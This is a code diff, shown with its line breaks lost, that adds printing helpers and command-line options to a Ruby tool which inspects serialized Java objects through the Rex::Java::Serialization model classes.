"#{prefix}Fields ##{c.fields.length}" + c.fields.each do |f| + puts "#{prefix}Field: #{f}" + end + puts "#{prefix}Class Annotations ##{c.class_annotation.contents.length}" + c.class_annotation.contents.each do |c| + puts "#{prefix}Annotation: #{c}" + end + puts "#{prefix}Super Class: #{c.super_class}" + if c.super_class.description.class == Rex::Java::Serialization::Model::NewClassDesc + print_class(c.super_class.description, level + 1) + end + end + + # @param [Rex::Java::Serialization::Model::NewArray] arr the array to print + # @param [Fixnum] level the indentation level when printing super classes + def print_array(arr, level = 0) + prefix = " " * level + if arr.array_description.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Array Description" + print_class(arr.array_description.description, 1) + else + puts "#{prefix}Array Description: #{arr.array_description.description}" + end + puts "#{prefix}Array Type: #{arr.type}" + puts "#{prefix}Array Values ##{arr.values.length}" + arr.values.each do |v| + puts "Array value: #{prefix}#{v} (#{v.class})" + if v.class == Rex::Java::Serialization::Model::NewObject + print_object(v, level + 1) + end + end + end end if __FILE__ == $PROGRAM_NAME + + options = {} + OptionParser.new do |opts| + opts.banner = "Usage: java_deserializer.rb [option]" + + opts.on("-aID", "--array=ID", "Print detailed information about content array") do |id| + options[:array] = id + end + + opts.on("-oID", "--object=ID", "Print detailed information about content object") do |id| + options[:object] = id + end + + opts.on("-h", "--help", "Prints this help") do + puts opts + exit + end + end.parse! + + if options.length > 1 + $stdout.puts "[-] Don't provide more than one option" + exit + end + deserializer = JavaDeserializer.new(ARGV[0]) - deserializer.run + deserializer.run(options) end